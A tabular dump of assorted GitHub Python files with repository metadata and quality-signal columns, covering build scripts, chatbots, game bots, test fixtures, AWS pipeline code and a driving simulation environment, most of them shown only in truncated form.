hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a9c79fb37bd32e1b5430e2572ac344f70eb99c0b | 367 | py | Python | alpha_gomoku/cppboard/bitboard/setup.py | YouHuang67/alpha_gomoku | 885690d80f1d34d27bc39cbeee4388b50e3d7a23 | [
"MIT"
] | null | null | null | alpha_gomoku/cppboard/bitboard/setup.py | YouHuang67/alpha_gomoku | 885690d80f1d34d27bc39cbeee4388b50e3d7a23 | [
"MIT"
] | null | null | null | alpha_gomoku/cppboard/bitboard/setup.py | YouHuang67/alpha_gomoku | 885690d80f1d34d27bc39cbeee4388b50e3d7a23 | [
"MIT"
] | null | null | null | from distutils.core import setup, Extension
sources = ['board_wrap.cxx', 'board.cpp',
'board_bits.cpp', 'init.cpp',
'lineshapes.cpp', 'pns.cpp', 'shapes.cpp']
module = Extension(
'_board', sources=sources,
extra_compile_args=['/O2'],
language='c++'
)
setup(name='board',
ex... | 24.466667 | 53 | 0.607629 | 43 | 367 | 5.023256 | 0.627907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003448 | 0.209809 | 367 | 15 | 54 | 24.466667 | 0.741379 | 0 | 0 | 0 | 0 | 0 | 0.266304 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9c7e7b97223ab3a021b88e0c7b80b98f6271253 | 7,068 | py | Python | manafa/services/hunterService.py | RRua/petra-like | cfb6a978f69792845b029d41a1775f36f4d98119 | [
"MIT"
] | null | null | null | manafa/services/hunterService.py | RRua/petra-like | cfb6a978f69792845b029d41a1775f36f4d98119 | [
"MIT"
] | null | null | null | manafa/services/hunterService.py | RRua/petra-like | cfb6a978f69792845b029d41a1775f36f4d98119 | [
"MIT"
] | null | null | null | import time
from .service import Service
import re
from ..utils.Utils import execute_shell_command
from manafa.utils.Logger import log
class HunterService(Service):
def __init__(self, boot_time=0, output_res_folder="hunter"):
Service.__init__(self, output_res_folder)
self.trace = {}
sel... | 41.822485 | 104 | 0.563243 | 756 | 7,068 | 5.070106 | 0.19709 | 0.090791 | 0.044352 | 0.054787 | 0.342552 | 0.258544 | 0.208453 | 0.186538 | 0.171406 | 0.171406 | 0 | 0.007971 | 0.325552 | 7,068 | 168 | 105 | 42.071429 | 0.796098 | 0.038908 | 0 | 0.224638 | 0 | 0 | 0.0582 | 0.007462 | 0 | 0 | 0 | 0 | 0 | 1 | 0.108696 | false | 0.007246 | 0.036232 | 0 | 0.210145 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9c9cb26caef7f3a07130091e0579b96a33abecb | 1,650 | py | Python | Basic_if_then/BH4-test.py | BH4/Halite3-bots | 97eb4dcab6bccbfd1649bbac74ef06f0e22035de | [
"MIT"
] | null | null | null | Basic_if_then/BH4-test.py | BH4/Halite3-bots | 97eb4dcab6bccbfd1649bbac74ef06f0e22035de | [
"MIT"
] | null | null | null | Basic_if_then/BH4-test.py | BH4/Halite3-bots | 97eb4dcab6bccbfd1649bbac74ef06f0e22035de | [
"MIT"
] | null | null | null | import hlt
from hlt import constants
import logging
# Import my stuff
import strategies
import helpers
game = hlt.Game()
# Pre-processing area
ship_status = {}
ship_destination = {}
class parameters():
def __init__(self):
# Ship numbers
self.max_ships = 30
self.min_ships = 2
#... | 26.612903 | 102 | 0.704848 | 218 | 1,650 | 5.055046 | 0.440367 | 0.043557 | 0.038113 | 0.068058 | 0.176951 | 0.123412 | 0 | 0 | 0 | 0 | 0 | 0.017692 | 0.212121 | 1,650 | 61 | 103 | 27.04918 | 0.83 | 0.146061 | 0 | 0 | 0 | 0 | 0.04578 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0 | 0.142857 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9ca3bbd491dc6f1f8700dab6b863d90e4dcb170 | 2,481 | py | Python | multi_linugual_chatbot/mbot.py | HrushikeshShukla/multilingual_chatbot | 696b403ef4e5482e2f670924b557dd17375fc5a9 | [
"Apache-2.0"
] | null | null | null | multi_linugual_chatbot/mbot.py | HrushikeshShukla/multilingual_chatbot | 696b403ef4e5482e2f670924b557dd17375fc5a9 | [
"Apache-2.0"
] | null | null | null | multi_linugual_chatbot/mbot.py | HrushikeshShukla/multilingual_chatbot | 696b403ef4e5482e2f670924b557dd17375fc5a9 | [
"Apache-2.0"
] | null | null | null | # importing dependencies
import re
import inltk
import nltk
nltk.download('punkt')
import io
import random
import string
import warnings
warnings.filterwarnings('ignore')
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
from googlesea... | 28.517241 | 94 | 0.731963 | 417 | 2,481 | 4.285372 | 0.369305 | 0.129267 | 0.095691 | 0.086178 | 0.20817 | 0.133184 | 0.096251 | 0.053721 | 0.042529 | 0 | 0 | 0.002809 | 0.139057 | 2,481 | 86 | 95 | 28.848837 | 0.816479 | 0.070536 | 0 | 0.166667 | 0 | 0.013889 | 0.08762 | 0.023976 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069444 | false | 0 | 0.152778 | 0.013889 | 0.319444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9cc574d34510a5a7c799bfb6ad7da4119b10d52 | 742 | py | Python | practiceset/hk/fraction_of_plusMinus.py | dipsuji/Phython-Learning | 78689d3436a8573695b869a19457875ac77fcee4 | [
"Apache-2.0"
] | 1 | 2021-12-06T05:09:10.000Z | 2021-12-06T05:09:10.000Z | practiceset/hk/fraction_of_plusMinus.py | dipsuji/Phython-Learning | 78689d3436a8573695b869a19457875ac77fcee4 | [
"Apache-2.0"
] | null | null | null | practiceset/hk/fraction_of_plusMinus.py | dipsuji/Phython-Learning | 78689d3436a8573695b869a19457875ac77fcee4 | [
"Apache-2.0"
] | 1 | 2021-12-06T05:09:16.000Z | 2021-12-06T05:09:16.000Z | def fraction_plusMinus(arr):
count_pos = 0
count_neg = 0
count_0 = 0
arr_len = len(arr)
# print(arr_len)
# print(arr)
for i in range(0, len(arr)):
if arr[i] > 0:
count_pos += 1
elif arr[i] < 0:
count_neg += 1
elif arr[i] == 0:
co... | 24.733333 | 67 | 0.56469 | 119 | 742 | 3.277311 | 0.226891 | 0.123077 | 0.038462 | 0.076923 | 0.169231 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0.048872 | 0.283019 | 742 | 29 | 68 | 25.586207 | 0.684211 | 0.117251 | 0 | 0 | 0 | 0 | 0.009217 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0 | 0 | 0.05 | 0.15 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9ccbe1dd76a9b926989e24973b853a53bc7aeb8 | 7,731 | py | Python | fixture/contacts.py | annovikov/Python_education | f6d731c81d1cbfdd1085fb9893c1c123e4eae64f | [
"Apache-2.0"
] | null | null | null | fixture/contacts.py | annovikov/Python_education | f6d731c81d1cbfdd1085fb9893c1c123e4eae64f | [
"Apache-2.0"
] | null | null | null | fixture/contacts.py | annovikov/Python_education | f6d731c81d1cbfdd1085fb9893c1c123e4eae64f | [
"Apache-2.0"
] | null | null | null | from model.contact import ContactGroup
import re
class ContactHelper:
def __init__(self, app):
self.app = app
def add_new(self, contactgroup):
wd = self.app.wd
wd.find_element_by_link_text("add new").click()
self.fill_contact_form(contactgroup)
wd.find_element_by_xpath(... | 42.245902 | 194 | 0.653214 | 1,032 | 7,731 | 4.594961 | 0.125 | 0.088148 | 0.104175 | 0.094897 | 0.579291 | 0.491354 | 0.417756 | 0.400042 | 0.32771 | 0.279418 | 0 | 0.006882 | 0.210581 | 7,731 | 182 | 195 | 42.478022 | 0.770113 | 0.035442 | 0 | 0.314685 | 0 | 0 | 0.094145 | 0.039619 | 0 | 0 | 0 | 0 | 0 | 1 | 0.160839 | false | 0 | 0.013986 | 0 | 0.216783 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9cde816018d4cde80fd4caa4025019fd37e3e92 | 2,377 | py | Python | src/ramstk/views/gtk3/widgets/widget.py | TahaEntezari/ramstk | f82e5b31ef5c4e33cc02252263247b99a9abe129 | [
"BSD-3-Clause"
] | 26 | 2019-05-15T02:03:47.000Z | 2022-02-21T07:28:11.000Z | src/ramstk/views/gtk3/widgets/widget.py | TahaEntezari/ramstk | f82e5b31ef5c4e33cc02252263247b99a9abe129 | [
"BSD-3-Clause"
] | 815 | 2019-05-10T12:31:52.000Z | 2022-03-31T12:56:26.000Z | src/ramstk/views/gtk3/widgets/widget.py | TahaEntezari/ramstk | f82e5b31ef5c4e33cc02252263247b99a9abe129 | [
"BSD-3-Clause"
] | 9 | 2019-04-20T23:06:29.000Z | 2022-01-24T21:21:04.000Z | # pylint: disable=non-parent-init-called
# -*- coding: utf-8 -*-
#
# ramstk.views.gtk3.widgets.widget.py is part of the RAMSTK Project
#
# All rights reserved.
# Copyright 2007 - 2020 Doyle Rowland doyle.rowland <AT> reliaqual <DOT> com
"""RAMSTK GTK3 Base Widget Module."""
# Standard Library Imports
from typing... | 31.693333 | 86 | 0.619689 | 277 | 2,377 | 5.148014 | 0.375451 | 0.014025 | 0.042076 | 0.035764 | 0.091865 | 0.039271 | 0.039271 | 0 | 0 | 0 | 0 | 0.011021 | 0.274716 | 2,377 | 74 | 87 | 32.121622 | 0.816125 | 0.441313 | 0 | 0 | 0 | 0 | 0.119342 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.071429 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9ce2c37b0bb5981068f798cd85b5e4ebcafdcc4 | 1,011 | py | Python | openCv/script.py | tfrere/bras | fb7ae3720dd6bae0ccb3b3b5ec59ab18e760f48b | [
"Unlicense"
] | null | null | null | openCv/script.py | tfrere/bras | fb7ae3720dd6bae0ccb3b3b5ec59ab18e760f48b | [
"Unlicense"
] | null | null | null | openCv/script.py | tfrere/bras | fb7ae3720dd6bae0ccb3b3b5ec59ab18e760f48b | [
"Unlicense"
] | null | null | null | from picamera.array import PiRGBArray
from picamera import PiCamera
import time
import numpy as np
import cv2
import picamera.array
camera = PiCamera()
camera.resolution = (800, 600)
camera.framerate =10
rawCapture = PiRGBArray(camera, size=(800, 600))
time.sleep(0.1)
face_cascade = cv2.CascadeClassifier('haarcascad... | 25.275 | 86 | 0.71909 | 168 | 1,011 | 4.238095 | 0.422619 | 0.008427 | 0.075843 | 0.106742 | 0.016854 | 0.016854 | 0 | 0 | 0 | 0 | 0 | 0.049887 | 0.127596 | 1,011 | 39 | 87 | 25.923077 | 0.75737 | 0 | 0 | 0 | 0 | 0 | 0.060396 | 0.034653 | 0 | 0 | 0.00396 | 0 | 0 | 1 | 0 | false | 0 | 0.206897 | 0 | 0.206897 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9cedc2010c3c6ab49074b7411de9c5f5d16a0f4 | 3,801 | py | Python | data_processing/fill_missing_data.py | irasus-technologies/EnergyBoost | c5fcd4ed58aedffe0c3c71cdc76f860c64bb1de1 | [
"MIT"
] | null | null | null | data_processing/fill_missing_data.py | irasus-technologies/EnergyBoost | c5fcd4ed58aedffe0c3c71cdc76f860c64bb1de1 | [
"MIT"
] | null | null | null | data_processing/fill_missing_data.py | irasus-technologies/EnergyBoost | c5fcd4ed58aedffe0c3c71cdc76f860c64bb1de1 | [
"MIT"
] | null | null | null |
# coding: utf-8
# In[1]:
import pandas as pd
import numpy as np
from datetime import datetime
# In[2]:
hh_df = pd.read_csv('home_ac/processed_hhdata_86_2.csv')
# print(hh_df.shape)
# hh_df.head(15)
hh_df.drop_duplicates(subset ="localhour", keep = False, inplace = True)
print(hh_df.shape)
# In[3]:
hh_df['ho... | 29.465116 | 115 | 0.61247 | 524 | 3,801 | 4.290076 | 0.219466 | 0.084075 | 0.085409 | 0.093416 | 0.381228 | 0.307384 | 0.284698 | 0.269128 | 0.204626 | 0.072954 | 0 | 0.019685 | 0.198106 | 3,801 | 128 | 116 | 29.695313 | 0.717848 | 0.468824 | 0 | 0.047619 | 0 | 0 | 0.147692 | 0.048718 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.071429 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9d05630a781b58d240403429a6be895d1c2a315 | 1,375 | py | Python | scripts/parse.py | yeshaokai/mmpose_for_maDLC | 84efe0ff00de3d916086c8c5579eae17c1ef43cb | [
"Apache-2.0"
] | 5 | 2022-01-13T15:06:45.000Z | 2022-01-28T19:39:54.000Z | scripts/parse.py | yeshaokai/mmpose_for_maDLC | 84efe0ff00de3d916086c8c5579eae17c1ef43cb | [
"Apache-2.0"
] | null | null | null | scripts/parse.py | yeshaokai/mmpose_for_maDLC | 84efe0ff00de3d916086c8c5579eae17c1ef43cb | [
"Apache-2.0"
] | 1 | 2022-01-13T11:46:55.000Z | 2022-01-13T11:46:55.000Z | import pandas as pd
import pickle
import json
def extract_uncropped_name(filename):
f = filename.split('/')[-1]
video_source = filename.split('/')[-2]
video_source = video_source.replace('_cropped','')
image_format = f.split('.')[-1]
image_prefix = f.split('c')[0]
new_name = video_source+... | 21.825397 | 82 | 0.664 | 203 | 1,375 | 4.182266 | 0.320197 | 0.08245 | 0.070671 | 0.040047 | 0.073027 | 0.073027 | 0.073027 | 0 | 0 | 0 | 0 | 0.012704 | 0.198545 | 1,375 | 62 | 83 | 22.177419 | 0.757713 | 0.031273 | 0 | 0 | 0 | 0 | 0.116541 | 0.070677 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027027 | false | 0 | 0.081081 | 0 | 0.135135 | 0.108108 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9d0c58d713f7b758640446cf6d2d1ffe15cf420 | 6,766 | py | Python | Depression-Language-Evaluation/app.py | Melody-Lin/LokiHub | 349f087b9d3d9d3fd4117f6288b3524015702b77 | [
"MIT"
] | 17 | 2020-11-25T07:40:18.000Z | 2022-03-07T03:29:18.000Z | Depression-Language-Evaluation/app.py | Melody-Lin/LokiHub | 349f087b9d3d9d3fd4117f6288b3524015702b77 | [
"MIT"
] | 8 | 2020-12-18T13:23:59.000Z | 2021-10-03T21:41:50.000Z | Depression-Language-Evaluation/app.py | Melody-Lin/LokiHub | 349f087b9d3d9d3fd4117f6288b3524015702b77 | [
"MIT"
] | 43 | 2020-12-02T09:03:57.000Z | 2021-12-23T03:30:25.000Z | #!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, request, abort
from linebot import LineBotApi, WebhookHandler
from linebot.exceptions import InvalidSignatureError
from linebot.models import *
import json
from ArticutAPI import Articut
from decimal import Decimal, ROUND_HALF_UP
app = Fla... | 37.175824 | 147 | 0.60065 | 790 | 6,766 | 5.06962 | 0.258228 | 0.032459 | 0.027466 | 0.027965 | 0.30387 | 0.29563 | 0.259925 | 0.238702 | 0.221973 | 0.161798 | 0 | 0.016526 | 0.248744 | 6,766 | 181 | 148 | 37.381215 | 0.770805 | 0.096364 | 0 | 0.277372 | 0 | 0 | 0.118446 | 0.013915 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051095 | false | 0.007299 | 0.058394 | 0 | 0.160584 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9d3366cae5cc9d2f3c4639160a38329df539f7f | 20,236 | py | Python | tests/conftest.py | msonderegger/PolyglotDB | 583fd8ec14c2e34807b45b9f15fa19cffa130bfa | [
"MIT"
] | null | null | null | tests/conftest.py | msonderegger/PolyglotDB | 583fd8ec14c2e34807b45b9f15fa19cffa130bfa | [
"MIT"
] | null | null | null | tests/conftest.py | msonderegger/PolyglotDB | 583fd8ec14c2e34807b45b9f15fa19cffa130bfa | [
"MIT"
] | null | null | null | import pytest
import os
import sys
from polyglotdb.io.types.parsing import (SegmentTier, OrthographyTier,
GroupingTier, TextOrthographyTier,
TranscriptionTier,
TextTranscriptionTier, TextMorphemeT... | 35.815929 | 113 | 0.588308 | 2,781 | 20,236 | 4.121899 | 0.102481 | 0.049463 | 0.078513 | 0.109047 | 0.622612 | 0.522987 | 0.492192 | 0.404083 | 0.352787 | 0.327576 | 0 | 0.043194 | 0.220893 | 20,236 | 565 | 114 | 35.815929 | 0.683877 | 0.000692 | 0 | 0.410959 | 0 | 0 | 0.140399 | 0.013501 | 0 | 0 | 0 | 0 | 0 | 1 | 0.116438 | false | 0 | 0.043379 | 0.052511 | 0.280822 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9d8f74d2d05d2035a3088b326a56139ee5b3ff4 | 10,285 | py | Python | cumulus/steps/dev_tools/pipeline.py | john-shaskin/cumulus | 4687d83ab324e57d900d9888da62e2fb7f4505e9 | [
"MIT"
] | null | null | null | cumulus/steps/dev_tools/pipeline.py | john-shaskin/cumulus | 4687d83ab324e57d900d9888da62e2fb7f4505e9 | [
"MIT"
] | 11 | 2018-09-10T22:57:31.000Z | 2019-02-28T17:21:24.000Z | cumulus/steps/dev_tools/pipeline.py | john-shaskin/cumulus | 4687d83ab324e57d900d9888da62e2fb7f4505e9 | [
"MIT"
] | 3 | 2018-09-05T20:33:35.000Z | 2018-10-17T16:01:26.000Z |
import awacs
import awacs.aws
import awacs.awslambda
import awacs.codecommit
import awacs.ec2
import awacs.iam
import awacs.logs
import awacs.s3
import awacs.sts
import awacs.kms
import troposphere
from troposphere import codepipeline, Ref, iam
from troposphere.s3 import Bucket, VersioningConfiguration
import cumulus... | 37.673993 | 118 | 0.50841 | 852 | 10,285 | 5.911972 | 0.206573 | 0.052412 | 0.05678 | 0.045662 | 0.342863 | 0.268215 | 0.205281 | 0.187413 | 0.142545 | 0.11217 | 0 | 0.006331 | 0.416432 | 10,285 | 272 | 119 | 37.8125 | 0.832889 | 0.089159 | 0 | 0.337662 | 0 | 0 | 0.040633 | 0.008018 | 0 | 0 | 0 | 0.003676 | 0 | 1 | 0.021645 | false | 0.004329 | 0.064935 | 0 | 0.103896 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9da06c2dab9036fffee0adcf12fef779efeb4ab | 308 | py | Python | sitetest/core/sandbox.py | ninapavlich/sitetest | 2f5942c5280e5e7516e28be669013ee74bf03da3 | [
"Apache-2.0"
] | 3 | 2017-10-17T13:44:51.000Z | 2018-11-17T15:43:08.000Z | sitetest/core/sandbox.py | ninapavlich/sitetest | 2f5942c5280e5e7516e28be669013ee74bf03da3 | [
"Apache-2.0"
] | 20 | 2015-01-06T21:06:14.000Z | 2021-12-13T19:58:56.000Z | sitetest/core/sandbox.py | ninapavlich/sitetest | 2f5942c5280e5e7516e28be669013ee74bf03da3 | [
"Apache-2.0"
] | null | null | null | import logging
import urllib2
logger = logging.getLogger('sitetest')
def reload_url(url, user_agent_string):
request = urllib2.Request(url)
request.add_header('User-agent', user_agent_string)
response = urllib2.urlopen(request)
logger.info("Response: %s: %s" % (response.code, response))
| 23.692308 | 63 | 0.730519 | 39 | 308 | 5.615385 | 0.512821 | 0.123288 | 0.136986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011364 | 0.142857 | 308 | 12 | 64 | 25.666667 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0.11039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.25 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
a9de78e19fbd2362a60c1cdeb5bc9c8ec641c068 | 12,366 | py | Python | highway_env/envs/merge_out.py | jasonplato/High_SimulationPlatform | 8a0ed628ed824d08150ceff13487194212e95693 | [
"MIT"
] | null | null | null | highway_env/envs/merge_out.py | jasonplato/High_SimulationPlatform | 8a0ed628ed824d08150ceff13487194212e95693 | [
"MIT"
] | 1 | 2020-03-19T08:50:34.000Z | 2020-03-19T08:50:34.000Z | highway_env/envs/merge_out.py | jasonplato/Highway_SimulationPlatform | 8a0ed628ed824d08150ceff13487194212e95693 | [
"MIT"
] | null | null | null | from __future__ import division, print_function, absolute_import
import numpy as np
from highway_env import utils
from highway_env.envs.abstract import AbstractEnv
from highway_env.road.lane import LineType, StraightLane, SineLane, LanesConcatenation
from highway_env.road.road import Road, RoadNetwork
